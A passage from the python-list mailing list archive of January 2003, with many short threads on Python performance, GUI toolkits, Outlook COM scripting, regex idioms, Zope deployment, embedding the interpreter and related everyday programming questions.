 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ War is a continuation of policy by other means.
\__/ Karl von Clausewitz
    CAGE / http://www.alcyone.com/pyos/cage/
 A cellular automaton simulation system in Python.



From imbosol at vt.edu  Sun Jan 12 14:33:04 2003
From: imbosol at vt.edu (Carl Banks)
Date: Sun, 12 Jan 2003 19:33:04 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <mailman.1042257199.7572.python-list@python.org> <%0TT9.121156$Hs2.11453314@kent.svc.tds.net> <v208b839c0990d@news.supernews.com> <xJZT9.121193$Hs2.11495249@kent.svc.tds.net> <v210trgcq5gdf1@news.supernews.com> <Fb0U9.122581$Hs2.11514845@kent.svc.tds.net> <3E20A13D.539E934C@engcorp.com> <x7y95qswo2.fsf@guru.mired.org> <3E2180C8.7A6CC05D@engcorp.com>
Message-ID: <QpjU9.13480$%V.2268@nwrddc02.gnilink.net>

Peter Hansen wrote:
> Mike Meyer wrote:
>> 
>> Peter Hansen <peter at engcorp.com> writes:
>> 
>> > The C compiler has no knowledge of the conditions that will exist
>> > when the code runs.  Even if it did, its job is already done, while
>> > the HotSpot compiler can run again, and again, tuning the
>> > application as conditions change.
>> 
>> That's not strictly true. I've dealt with compilers that could examine
>> the results of profiled runs of the code being compiled, and use that
>> information in optimizing the resulting code. You could even rerun the
>> profiled version on new data and recompile the code.
> 
> Thanks, I had never heard of such a thing.
> 
> It doesn't help in many cases, however, since conditions are often
> dynamic, and doing profiling runs on your server and recompiling
> it, stopping, upgrading, and restarting it just to improve its
> performance under changing conditions is probably infeasible... ;-)

I disagree; I think profiling data can help optimize the compilation
quite a bit even under widely varying conditions, especially if enough
runs are done to get a kind of average.  Even if that isn't true, a
lot of optimizing will occur in purely userspace parts of the program,
and these parts won't be affected by system load.

And of course it's feasable (usually) to collect profiling data for a
time, compile a newly tuned program on another computer, and update it
quickly during a maintenance period.  A little networking magic and
there won't even be a downtime at all.


-- 
CARL BANKS



From whisper at oz.net  Fri Jan 10 04:55:27 2003
From: whisper at oz.net (David LeBlanc)
Date: Fri, 10 Jan 2003 01:55:27 -0800
Subject: GUI toolkits
In-Reply-To: <slrnb1t014.1c8.davecook@localhost.localdomain>
Message-ID: <GCEDKONBLEFPPADDJCOEMEDMHEAA.whisper@oz.net>

The tk addon package BWidgets can be used in tkinter too. It adds a lot of
tasty things, including tree, notebook, grid etc. It's 100% tcl code, so
it's platform independent. (Re: the tcl code bit. You're already using tcl
if you're using tkinter, so you're not adding a lot.)

There is a package called NovaGrid floating around that uses it.

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of David M. Cook
> Sent: Friday, January 10, 2003 0:11
> To: python-list at python.org
> Subject: Re: GUI toolkits
>
>
> In article <avfsc2$8ar$1 at bob.news.rcn.net>, morden wrote:
>
> > Is there info availbale somewhere on the relative merits of tkinter vs.
> > pyGnome?
>
> As someone has pointed out, pygtk is a more fair comparison with tkinter.
> pygtk has a lot more widgets than tkinter (though there are
> extensions like
> Tix, BLT, and PWM for Tk).  In particular, gtk has very powerful text and
> tree widgets that use the MVC pattern.  Also, pygtk is faster in my
> experience.  However, gtk has very spotty documentation (you *will* waste
> some time figuring out how to do some things) and is not as mature (i.e.
> more likely to have bugs and major API changes) as Tk or wxpython.
>
> Also, Pygtk is also still a work in progress, though very useable.  The
> developers work very quickly, and have been very responsive to my bug
> reports.
>
> The clincher for me is glade/libglade, which I wouldn't want to
> do without.
> There is a wxglade project to create a glade clone for wxWindows, but it's
> still in its early stages.
>
> You can find more info on pygtk at
>
> http://www.async.com.br/faq/pygtk/index.py?req=all
>
> Dave Cook
> --
> http://mail.python.org/mailman/listinfo/python-list





From mhammond at skippinet.com.au  Thu Jan 16 20:17:21 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Fri, 17 Jan 2003 01:17:21 GMT
Subject: Outlook/Exchange CDO/COM questions
In-Reply-To: <fc30bff.0301160618.3e7512f0@posting.google.com>
References: <fc30bff.0301150810.4e6b2271@posting.google.com> <BSlV9.16324$UB4.73555@news-server.bigpond.net.au> <fc30bff.0301160618.3e7512f0@posting.google.com>
Message-ID: <BQIV9.20654$UB4.86968@news-server.bigpond.net.au>

John Taylor wrote:
> Mark Hammond <mhammond at skippinet.com.au> wrote in message news:<BSlV9.16324$UB4.73555 at news-server.bigpond.net.au>...
> 
>>John Taylor wrote:
>>
>>>I have 3 questions about the code that I am writing (posted below).
>>>
>>>1) This code works on Inbox, but I really need it to work on the "Sent
>>>Items" folder, but can not figure this out.
>>
>>folder = outlook.Session.GetDefaultFolder(constants.olFolderSentMail)
>>
>>should open it for you.
>>
> 
> 
> C:\code\outlook>python outlook.py
> Traceback (most recent call last):
>   File "outlook.py", line 70, in ?
>   File "outlook.py", line 65, in main
>   File "outlook.py", line 21, in msg_info
> NameError: global name 'outlook' is not defined

Add this to the top:

from win32com.client import gencache, constants
outlook = gencache.EnsureDispatch("Outlook.Application")

Mark.




From maney at pobox.com  Sun Jan 26 18:06:16 2003
From: maney at pobox.com (Martin Maney)
Date: Sun, 26 Jan 2003 23:06:16 +0000 (UTC)
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <3E31568E.FD9C92B5@engcorp.com> <b0s6fq$95s5@eccws12.dearborn.ford.com> <p9EY9.499$qb1.122@nwrddc01.gnilink.net>
Message-ID: <b11pl8$llf$1@wheel2.two14.net>

Carl Banks <imbosol at vt.edu> wrote:
> If you had said "Python is incomplete because you can't do this
> set-and-test idiom" instead of "Python is incomplete because it
> doesn't allow assignment inside if," you would have gotten less
> ideology.

That proves not to be the case.  This is an issue which reliably causes
knees to jerk, and chins to wag without benefit of much if any thought
process.  For example, I see the "operator= is a proven source of
trouble" meme even in the incomplete sample of the current crop that
I've read, even though the ONLY citation for this that anyone could
come up with last time proved not to be saying that at all, at all.

I do believe this is a religious issue.  Nevertheless, I shall attempt
to summarize my understanding of the issue in as secular a fashion as I
can manage.


There were some reasonable ideas that came out; for this specific case
wrapping the re in a lightweight class that can run the match, saving
the result as it is returned and making it available later is IMO
probably the most natural.  It adds a fair bit of overhead if you
hadn't been pre-compiling the regexps, though.

  pat1 = REwrap(r'some pattern')
  pat2 = REwrap(r'another pattern')


  if pat1.match(targetString):
      # access results as pat1.group(..), etc.
  elif pat2.match(targetString):
      ...


The hack that's a recipie in the Cookbook seems to me to be a very bad
choice.  It's convenient, but if you're worried about the risk of
making a mess with operator=, it seems to me inconsistent to the point
of lunacy to adopt a supposed fix that introduces a global, shared
state like that.  (recipie 1.9 in the book; I don't find it easily in
the online cookbook, but that chapter is online at O'Reilly's site)
The danger can be reduced by using it without the shared global state,
but then it loses much of its convenience.  All in all, a design I
think we'd do best to forget.


The suggestion to make a list of (pattern, action) pairs might be a
good one.  It seems to me to be overelaborate if there are only a few
cases, and of course it's much harder to apply in the general case
where the switch needs more variety in its tests.  If the actions are
mostly simple but rely on the surrounding context then that may also
make the list of lists less attractive.  Even when it's a good fit,
it's hard to believe anyone could argue that this will be obvious to
someone who comes on the code cold.

One drawback to this is that the action must either fit into a lambda
(and some folks will prefer not to use lambda under any circumstances,
which seems odd to me but if it makes them uncomfortable then it's best
not to push) or else it must be written at a point physically distant
from the pattern with which it is associated.  This is a real step
backwards: one of the sterling virtues of the if:elif:...else structure
is that it makes the connection immediately obvious.  As Kernighan and
Plauger said of one such construct, "For all its apparent complexity,
it is simply a seven-way case statement, with the code for each case
in-line instead of in a separate routine." (1)  In place of the simple
case structure, the list of lists requires, in general, something like

  def act1(match_result): ...
  def act2(match_result): ...

  cases = (
      (r'pattern one', act1),
      (r'pattern two', act2),
      ...

I can't honestly imagine a situation where this would be an improvement
by any rational measure.  It disperses the pieces of the puzzle and
makes everything indirect and therefore at least a little mysterious. 
One might suggest that this is advantageous when sets of cases lead to
the same action, but the :elif:... form can call shared functions as
easily as use inline code, so I can't see much motivation there, either. 
I want there to be some circumstances in which this is clearly the best
approach, but so far I have thought myself free of finding any.  :-(


This seems to me to be, very simply, an area where Python's
intentionally chosen limitations make it awkward to compose a clear and
robust solution, at least in the general case.  For the specific use
case suggested here, I favor either the simple Pythonic idiom if there
were only a few possibilities, or the lightweight wrapper class when
there are enough to make the rightward drift annoying.  In practice,
the one application where I needed this I adopted the lightweight class
in all places, even those where there was only one or two patterns,
mostly to avoid a pointless variation in style in one body of code.


(1) _Software Tools_, 1976, p. 269




From max at alcyone.com  Tue Jan 14 22:16:55 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 14 Jan 2003 19:16:55 -0800
Subject: Copyright on the Python and Python-console icons?
References: <mailman.1042599446.7372.python-list@python.org>
Message-ID: <3E24D2A7.A6097307@alcyone.com>

Tim Peters wrote:

> I wouldn't <wink>.  Mike got a public statement from a PSF director
> (me)
> that he thinks Mike's use is fine.

... which then completely disclaimed any value in that statement.  If
you recall, you specifically said that your assurance was not binding. 
In fact you even said that if it came before the board, the most your
comment would grant you is guilt in voting to sue.

Even if your Usenet post _was_ completely sincere and assuring, there's
no way to prove legally that you actually posted it.  It could have been
forged.

The bottom line with potential copyright infringement situations is
either get rock solid assurance (a written and signed waiver on physical
paper), or don't bother.  It's not worth the extremely negative
potential payoff should things turn ugly.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Virtue has never been as respectable as money.
\__/ Mark Twain
    REALpolitik / http://www.realpolitik.com/
 Get your own customized newsfeed online in realtime ... for free!



From hancock at anansispaceworks.com  Mon Jan  6 19:46:22 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Mon, 6 Jan 2003 16:46:22 -0800
Subject: Python-list digest, Vol 1 #13623 - 12 msgs
In-Reply-To: <20030104174402.19570.97290.Mailman@mail.python.org>
References: <20030104174402.19570.97290.Mailman@mail.python.org>
Message-ID: <E18Vhtn-0001Vg-00@harrier.mail.pas.earthlink.net>

On Saturday 04 January 2003 09:44 am, python-list-request at python.org wrote:
> EpSyLOn <sasDOTepsylon at wanadoo.fr> wrote in message 
news:<qm8d1v8oa5kmfb15m7sj1v3g7v5cvvvrfl at 4ax.com>...
> >?http://www.python.org/download/download_other.html
> >?"Python for PlayStation
> >?
> >?Erwin Coumans has completed a port of Python to the Sony PlayStation
> >?2. Send him email for more info."
> >?His email: erwin at blender.nl
> >?-- ? ? ? ? ? ? ? ? ? ? ? ? ? ? ___
> 
> I've to e-mail him. But that address is no longer valid (I think since
> blender went under)

Speaking of the PS2 Linux port, is there anyone working on an unencumbered 
replacement for the proprietary Sony disk that it relies on?  I'd like to 
port some functionality to the PS2, but you have to agree to some rather 
restrictive things (like not to distribute your code on CD) to use their 
software.  This means that if you develop on the PS2 Linux kit, the only 
people who can use your result are other people who have the kit, as I 
understand it.  I find this greatly reduces the attractiveness of it, since I 
was kind of hoping to do something subversive like make Free educational 
software that would run on a consumer Playstation 2.  (Okay, I'm not just 
chomping at the bit, but it would be an interesting possibility).

I notice there's a Gnu Game Boy replacement project, although I've not yet 
found out how to actually make a cartridge from the data.

Is there a general resource on Linux/Open-Source platforms for computer 
gaming?

--
Terry Hancock ( hancock at anansispaceworks.com )
Anansi Spaceworks  http://www.anansispaceworks.com

"Some things are too important to be taken seriously"




From phr-n2002b at NOSPAMnightsong.com  Tue Jan 14 06:57:10 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 14 Jan 2003 03:57:10 -0800
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <m2adi7ull8.fsf@mycroft.actrix.gen.nz> <OASU9.131402$Hs2.11990469@kent.svc.tds.net>
Message-ID: <7xbs2k3pwp.fsf@ruckus.brouhaha.com>

"Edward K. Ream" <edream at tds.net> writes:
> 1. The main reason for thinking C is particularly suited to
> producing fast code is that in C the types of all objects are known
> at compile time.  ...  I would expect that running psyco on Python
> code will at best run half as fast as the equivalent hand-written C
> code.  The reasons are clear: psyco has neither the time nor the
> information to do as well as the best hand-written C code compiled
> by a descent compiler.

In fact some Lisp systems have been shown to produce compiled code
that runs as fast as compiled C code.  I don't see that Python needs
to be different.



From chris.gonnerman at newcenturycomputers.net  Sun Jan 26 17:30:28 2003
From: chris.gonnerman at newcenturycomputers.net (Chris Gonnerman)
Date: Sun, 26 Jan 2003 16:30:28 -0600
Subject: xlistdir -- an iterator version of os.listdir
References: <20030126051723.20234.qmail@admin.jdiworks.net>
Message-ID: <006f01c2c58a$8ae1ae80$ba01010a@local>

----- Original Message -----
From: "Terrel Shumway" <tshumway at jdiworks.net>


> xlistdir.xlistdir is an iterator version of os.listdir.
>
> It is particularly useful if you have a directory with, for example,
> 40,000 files, and you only want to look at the first 10.
>
>   from xlistdir import xlistdir
>   x = xlistdir("directory-with-LOTS-of-files")
>
>   for i in range(10):
>       print x[i] # or "x.next()"
>
>
> You might also use it to filter the list before allocating it:
>
>   files_only = [ file for file in xlistdir(bigdir) \
> if os.path.isfile(os.path.join(bigdir,file)) ]
>
>
> Most of this code was cut and pasted from xreadlinesmodule.c and
posixmodule.c
> in Python-2.2.2.tgz
>
> This initial hack may not even compile on platforms without
> opendir/readdir/closedir (e.g. mswin32, mswin16, OS/2) because I do
> not have access to those platforms.

I tried it using MinGW32 on Win98... after putting in an
apparently-missing #include <windows.h>, here is what I got:

C:\WINDOWS\Desktop\xlistdir-0.1>python setup.py build --compiler=mingw32
running build
running build_py
not copying test_xlistdir.py (output up-to-date)
running build_ext
building 'xlistdir' extension
C:\MINGW32\BIN\gcc.exe -mno-cygwin -mdll -O -Wall -IC:\PYTHON\include -c
xlistdi
rmodule.c -o build\temp.win32-2.2\Release\xlistdirmodule.o
xlistdirmodule.c: In function `xlistdir_opendir':
xlistdirmodule.c:83: warning: implicit declaration of function `win32_error'
xlistdirmodule.c:83: warning: return makes pointer from integer without a
cast
xlistdirmodule.c:57: warning: unused variable `bufptr'
xlistdirmodule.c: In function `xlistdir_closedir':
xlistdirmodule.c:104: `op' undeclared (first use in this function)
xlistdirmodule.c:104: (Each undeclared identifier is reported only once
xlistdirmodule.c:104: for each function it appears in.)
xlistdirmodule.c:110: warning: return makes pointer from integer without a
cast
xlistdirmodule.c: In function `xlistdir_readdir':
xlistdirmodule.c:119: `op' undeclared (first use in this function)
xlistdirmodule.c:123: structure has no member named `cFilename'
xlistdirmodule.c:128: warning: suggest parentheses around && within ||
error: command 'gcc' failed with exit status 1


> It does include a unit test, and it does pass for me on Linux. 8-)
>
> If you can build extension modules on MS_WIN32, MS_WIN16, or OS/2 (or
others),
> please try this out.  If you can make it compile and pass the unit tests,
> you will get a really cool function to use in your programs and share with
> the rest of the python community 8-).

Chris Gonnerman -- chris.gonnerman at newcenturycomputers.net
http://newcenturycomputers.net






From whisper at oz.net  Mon Jan 13 20:28:17 2003
From: whisper at oz.net (David LeBlanc)
Date: Mon, 13 Jan 2003 17:28:17 -0800
Subject: X#, a new Msft functional language similar to Lisp; Python prominently mentioned
In-Reply-To: <3E2364CC.7060604@earthlink.net>
Message-ID: <GCEDKONBLEFPPADDJCOECEIDHFAA.whisper@oz.net>

Digging further, it's said to be based on c# and smacks of typical MS: much
ado about not much (great idea, hohum delivery).

...
"Perhaps holding more promise for developers, however, particularly those in
the Microsoft world, is a vision for a new XML "language" that company
insiders are calling X# (pronounced X sharp), a .Net language based on the
company's C#."
...
"Don Box, a Microsoft .Net software architect, hinted at the development of
a new XML-based language at the XML conference in Baltimore last month.
During his keynote address at the conference, Box dropped hints that
Microsoft was beginning to look at a "data-oriented language. XML and Web
services push data manipulation into mainstream programming," Box said. "But
current substrates are optimized for objects, not data."

Sources could not say when, or even whether, X# will be delivered as a
product or part of a product. Microsoft officials would not comment for this
story."

http://www.eweek.com/article2/0,3959,808302,00.asp

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Ron Stephens
> Sent: Monday, January 13, 2003 17:14
> To: python-list at python.org
> Subject: OT: X#, a new Msft functional language similar to Lisp; Python
> prominently mentioned
>
>
> Ok, this is a brand new, wild rumor, but of some interest. Microsoft is
> said to be creating a new functional language , X#, to be able to easily
> extract and process data from XML documents.
>
> The author of this new online article, one Sean McGraff,  posits that
> most programming paradigms are either a)object oriented, like Java,
> Python, and C++ or b) use tabular data structures, such as relational
> data bases. He further posits that XML does not fit neatly into either
> object oriented nor tabular paradigms, but does fit neatly into a
> functional programming style that treats data and code as one and the
> same thing, like Lisp.
>
> Interesting. I don't like Microsoft, but this actually sounds like an
> idea that might have some merit. Of course, rather than use Lisp,
> Microsoft has to re-invent the wheel in a proprietary fashion.
>
> Does anyone think the ideas expressed in this article about XML being
> easier to process in a functional programming style, are either accurate
> or stupid?
>
> Could Python's functional programming style be a good fit for XML data?
> Could Python be extended to enhance such capabilities, if those
> capabilities have any validity?
>
> The article is at
> http://searchwebservices.techtarget.com/originalContent/0,289142,s
> id26_gci873910,00.html
>
> Ron Stephens
> http://www.awaretek.com/plf.html
>
> There is no predicting what the Pythonic web spider will dig up next ...
>
> --
> http://mail.python.org/mailman/listinfo/python-list





From skip at pobox.com  Fri Jan 31 15:04:33 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 31 Jan 2003 14:04:33 -0600
Subject: (no subject)
In-Reply-To: <200301311941.h0VJf9w03290@enterprise.phyast.pitt.edu>
References: <200301311941.h0VJf9w03290@enterprise.phyast.pitt.edu>
Message-ID: <15930.54993.140947.928171@montanaro.dyndns.org>

How about

    import __builtin__
    try:
        __builtin__.True
    except AttributeError:
        __builtin__.True = 1
        __builtin__.False = 0

?  (The builtin module is not plural.)

Skip




From pu at myRealBox.com  Tue Jan 28 13:49:10 2003
From: pu at myRealBox.com (pu)
Date: Tue, 28 Jan 2003 19:49:10 +0100
Subject: Python vs. C++ Builder - speed of development
Message-ID: <3e36d04e_2@news.vo.lu>

Hi all,

I don't want to start a thread comparing the Python and C++ languages, but
one question bothers me. Using Python, you can of course develop very
quickly due to high level constructs and the absence of compilation. On the
other hand, so-called "builder IDEs" or "RAD-IDE" (i.e. Borland C++ builder,
Microsoft Visual C++) also promise to allow you to develop quickly, even in
a less high-level language.

Therefore, my question is:

Is, or under which circumstances is the time which can be gained by using a
RAD-IDE equivalent to the time gained by using Python directly?

-Patrick





From robin at jessikat.fsnet.co.uk  Tue Jan 14 14:10:28 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Tue, 14 Jan 2003 19:10:28 +0000
Subject: portalocker in Win98
References: <fe35b211.0301140932.62d3d334@posting.google.com>
Message-ID: <aydHLjAkCGJ+Ewoi@jessikat.demon.co.uk>

In article <fe35b211.0301140932.62d3d334 at posting.google.com>, Vic
<vic at innocent.com> writes
>Hi All.
>
>I'm brand new to Python. I saw Roundup working at work, and decided to
>try an installation at home.
>
>The initial testing (run_tests) fails with 95 errors - these all
>appear to be file-locking problems. I've scoured the web, and found
>out about the unsupported file-lock stuff used by portalocker.py.
>
>So - has anyone got this going on Win98? Is there a potted solution I
>can use, or have I got loads of re-coding to do (I'm a C programmer,
>so thst's not going to happen any time soon...)
>
>Thanks!
>
>Vic.
>
>
>[p.s. this is my first time on this NG, so I'd very much appreciate an
>emailed copy of any responses, if anyone feels so inclined ;-)]
There's another thread about this right now and some have suggested
using a directory lock file to avoid certain NFS problems. 
-- 
Robin Becker



From hancock at anansispaceworks.com  Wed Jan 15 15:47:58 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Wed, 15 Jan 2003 20:47:58 GMT
Subject: Zope on Port 80
References: <mailman.1042583860.2529.python-list@python.org> <3E24F2F6.18959BA3@engcorp.com>
Message-ID: <2OjV9.12002$Qr4.1183843@newsread1.prod.itd.earthlink.net>

Peter Hansen wrote:
> Andrew Veitch wrote:
>> It's not that good an idea to expose Zope to the outside world anyway,
>> I'd suggest running Apache on port 80 and re-direct to Zope on
>> localhost:8080
> 
> Is this comment based on fear of the unknown, or are there specific
> security issues which concern you about exposing Zope to the outside
> world.

I don't think it's necessarily a security issue, but I've seen Zserver lock 
up or thrash under fairly small loads, but not have problems when Apache 
was in front of it. I've never investigated far enough to know if this was 
really due to problems in Zserver, or something more specific to my 
installation.  It's been awhile since I tried it, but I think it had to do 
with making a lot of repeated requests for the same data.

I can think of several reasons why this might be so -- better response to 
malformed HTTP requests, caching, or better multi-threaded response to 
loads. I'm not qualified to say which if any applies, though.

So I think it's more a question of performance than security (beyond maybe 
a DOS attack).  It's apparently still better to put a proxy cache like 
Squid in front, but I've never tried that.

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From mhammond at skippinet.com.au  Thu Jan 16 20:19:58 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Fri, 17 Jan 2003 01:19:58 GMT
Subject: [Python/C API] How to break a script execution ?
In-Reply-To: <b06rok$ek3$1@zeus.man.szczecin.pl>
References: <b06rok$ek3$1@zeus.man.szczecin.pl>
Message-ID: <2TIV9.20659$UB4.86968@news-server.bigpond.net.au>

Misiek wrote:
> Hello everybody,
> 
> I have written a MFC application that allows to run Python's scripts with
> using Python/C API. All works perfectly, but I don't know how to break a
> script execution on demand (something like pressing Ctrl+C in Python).
> Suppose I have a script that simply execute an endless loop and I would like
> to stop it execution by clicking a button in my application and then dump to
> my application an iteration count. Here is an example script:
> 
> def main():
>     try:
>         i = 0
>         while 1:
>             i = i + 1
>     except KeyboardInterrupt:
>         print "Iteration: ", i
> 
> main()
> 
> Is there any possibility to break a script execution from my application and
> catch the exception? How to do it? I would be grateful for any
> suggestions...

Pythonwin is just an MFC app that embeds Python <wink>.  I discovered 
that raising an exception from a different C thread generally had the 
desired results.  The only way I could manage a seperate thread was a 
seperate Window - once this was a real top-level window, but now we have 
the taskbar icon.

Mark.




From dave at pythonapocrypha.com  Fri Jan  3 12:08:02 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Fri, 3 Jan 2003 09:08:02 -0800 (PST)
Subject: YATOPS (Yet Another Thread on Python's Speed) (was Re: HELP!
 Must choose  language!)
In-Reply-To: <3E144BFC.399B8510@engcorp.com>
References: <20030101042101.1615.84075.Mailman@mail.python.org>
 <E18TbTs-0002QZ-00@harrier.mail.pas.earthlink.net>
 <mailman.1041471183.23600.python-list@python.org> <3E144BFC.399B8510@engcorp.com>
Message-ID: <Pine.LNX.4.51.0301030901530.12784@ns0.tbye.com>


On Thu, 2 Jan 2003, Peter Hansen wrote:

> Yu Wang wrote:
> >
> > For commercial usage, ( sorry, I would say it twice ), python program is
> > simple, clear, maintainable..., but it's slow.
>
> As a developer of commercial software written in Python, I have to say
> that Yu Wang's statement about Python's speed is simply not always true.
> I would even venture to suggest that it is only rarely true.

Here here! Plus, there's a lot more to performance than just CPU
performance. Our commercial Python software is network bound first, disk
bound second, and CPU bound third (meaning, under most circumstances CPU
speed isn't an issue, so neither is Python).

IOW, with some of our stuff we _do_ have some performance requirements
(e.g. "need to sustain X Mbps of traffic throughput across Y
connections..") and our pure Python apps meet the requirements quite well.

 -Dave




From Scott.Daniels at Acm.Org  Sun Jan  5 12:38:34 2003
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Sun, 05 Jan 2003 09:38:34 -0800
Subject: Embedded python: printing exceptions to a file?
In-Reply-To: <av9com$nrl$1@Fourier.suse.de>
References: <av9com$nrl$1@Fourier.suse.de>
Message-ID: <3e186d99$1@nntp0.pdx.net>

 > I want to log errors from python scripts  running in
 > the embedded interpreter to a log file.

I am guessing a bit here about your need.  If you want your
errors logged onto a file, in the python language, before you
start your python code, execute the string:
     "import sys\nsys.stderr = open('log.file', 'a')\n"
and finish (possibly via a try-finally) with:
     "sys.stderr,close()"

If you want the text available to your application, you'll
probably want to use StringIO/cStringIO something like:
     "import cStringIO,sys\nsys.stderr=cStringIO.StringIO()\n"
and then, once your code is finished, get your error output with:
     "sys.stderr.getvalue()"

As to the <OT>,
 >...splitup this newsgroup into some more specific subjects like...
Unfortunately, much of the original query posting to such piles
of newsgroups get sent to all of the groups "just in case."  Thus
you wind up with more total traffic and less information.  At least
heare you have a great Google search source.

-Scott David Daniels
Scott.Daniels at Acm.Org




From jeremy at jdyallop.freeserve.co.uk  Thu Jan 16 06:23:43 2003
From: jeremy at jdyallop.freeserve.co.uk (Jeremy Yallop)
Date: 16 Jan 2003 11:23:43 GMT
Subject: Ignoring incorrect XML encoding declarations
References: <b04roj$lif9o$1@ID-174764.news.dfncis.de> <1MmV9.2980$qU2.1566@news1.central.cox.net> <b04vh3$luh0p$1@ID-174764.news.dfncis.de>
Message-ID: <b064nv$looal$1@ID-114079.news.dfncis.de>

* Peter Scott
| Forgive my newbiehood, but is it possible to wrap a string in a 
| file-like object?

Yes.  Look at the StringIO and cStringIO modules.

Jeremy.



From michele.leoncelli at prometeia.it  Thu Jan 16 10:31:42 2003
From: michele.leoncelli at prometeia.it (Michele Leoncelli)
Date: Thu, 16 Jan 2003 16:31:42 +0100
Subject: [OT] help on ZOPE
Message-ID: <b06jbq$hd4$1@panco.nettuno.it>

hi all,
i'm sorry for this OT message, i need help with ZOPE and i thought this was
the best newsgroup where i could find some info.
I can't find a Zope Newsgroup or Mailinglist,does someone know where i can
find help?

thank you in advance
Michele





From programisci_listy at muratorDOTcom.pl  Mon Jan  6 08:04:37 2003
From: programisci_listy at muratorDOTcom.pl (Yar3k)
Date: Mon, 06 Jan 2003 14:04:37 +0100
Subject: php vs python
References: <mailman.1041729428.4428.python-list@python.org> <9d791d77.0301060309.67c7d5f8@posting.google.com>
Message-ID: <4lvi1v43744lo82btdhkk928vf8db3i40n@4ax.com>

On 6 Jan 2003 03:09:42 -0800, u9300103 at mail.lssh.tp.edu.tw (Tiberius
Teng) wrote:

>Be sure to check out Spyce (http://spyce.sourceforge.net/) if you want
>to compare Python with PHP. :)

Cheetah templates are even better. Check this
http://www.cheetahtemplate.org/Py10.html




From vanevery at 3DProgrammer.com  Fri Jan 31 18:08:10 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Fri, 31 Jan 2003 23:08:10 GMT
Subject: Python vs. C++ Builder - speed of development
References: <mailman.1043904061.3760.python-list@python.org> <nM5_9.4304$wd2.333480@newsread2.prod.itd.earthlink.net> <b1c64f$pej$1@Xenon.Stanford.EDU>
Message-ID: <ulD_9.858$ek4.84219@newsread2.prod.itd.earthlink.net>

Alan Morgan wrote:
> 
> Wait a minute... you didn't *present* an argument.  That explains it.

Goodbye, Alan.

-- 
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From xx758 at cam.ac.uk  Thu Jan 16 11:22:46 2003
From: xx758 at cam.ac.uk (Xiao-Qin Xia)
Date: Thu, 16 Jan 2003 16:22:46 +0000
Subject: Tkinter cursor
Message-ID: <b06m8m$4hf$1@pegasus.csx.cam.ac.uk>

Hi, everybody,

Is it possible to make your own cursor icons when use Tkinter to design 
interface?

Thanks,
Xiao-Qin



From otttr440 at student.liu.se  Sat Jan 25 06:51:08 2003
From: otttr440 at student.liu.se (Otto Tronarp)
Date: 25 Jan 2003 12:51:08 +0100
Subject: Database newbie - Sound Software Engineering practice for DB
In-Reply-To: <1043203426.14047.133.camel@refugeeMedia>
References: <1043194785.11809.85.camel@mathcore2>
	 <1043203426.14047.133.camel@refugeeMedia>
Message-ID: <1043495468.1012.35.camel@mathcore2>

On Wed, 2003-01-22 at 03:43, Mongryong wrote:
> You should learn how to design good DBs by hand first if you haven't
> done so already.  The two main concepts you'll want to learn about is
> 'normalization' and 'denormalization'. You should become familiar with
> terms like 'primary' and 'foreign' keys.
> 
After googling and reading I'll think I have a basic understanding of
the concepts now, thanks for the search keys.

> Once you have a good handle on designing DBs by hand, it should be easy
> to translate your design into SQL statements.
> 
> Now, it's just a matter of learning the API and applying good
> programming design patterns.  The latter part is a huge subject on its
> own.  A concept you might want to learn about is 'connection pooling'.
> 

Sounds like a good technique to study, I'll guess I'll have to do some
mor reading. 

> Most of this information, if not all, should be on the web.  Or, you can
> do what I did and pick a book on MySQL.  Most books should cover DB
> design (by hand), SQL, APIs, and design approaches.  
> 
> Good luck!
> 


Thanks!

Regards,
Otto





From stef_h at freemail.hu  Wed Jan 15 09:40:08 2003
From: stef_h at freemail.hu (Stef)
Date: 15 Jan 2003 06:40:08 -0800
Subject: DistUtils and pyo
Message-ID: <119cb623.0301150640.4bdcd436@posting.google.com>

Hi All,

I need a distribution ONLY with .pyc files.
If I use
python install.py bdist
python will generate a package with .py files.

Can You help me?

Thanks
Stef



From letezo at fw.hu  Tue Jan 28 11:28:34 2003
From: letezo at fw.hu (=?iso-8859-1?B?TOl0ZXr1?=)
Date: Tue, 28 Jan 2003 17:28:34 +0100
Subject: GUI is it possible with mod_python ?
References: <Pine.WNT.4.44.0301281614020.1016-100000@azur>
Message-ID: <002301c2c6ea$57155d20$8800a8c0@Sirius>

Hi!

> Besides, i installed Python 2.2.2, mod-python and Visual Python (vpython)
> on my computer under Windows XP.

VPython is based on OpenGL and can produce 3D graphics on your console.

> I want to know if we can make the same things that PHP.

Did you do any OpenGL based 3D graphics with PHP?

> I want to know too if we can make easily some GUI application that runs
> from the apache serveur into mod_python ?

mod_python can run python code in order to respond http requests. Probably I
don't understand your question. Do you think about generating 3D with
VPython and present it on a WEB page?

Best wishes,
Complex






From bbeck at NOSPAM.austin.rr.com  Mon Jan 13 15:54:45 2003
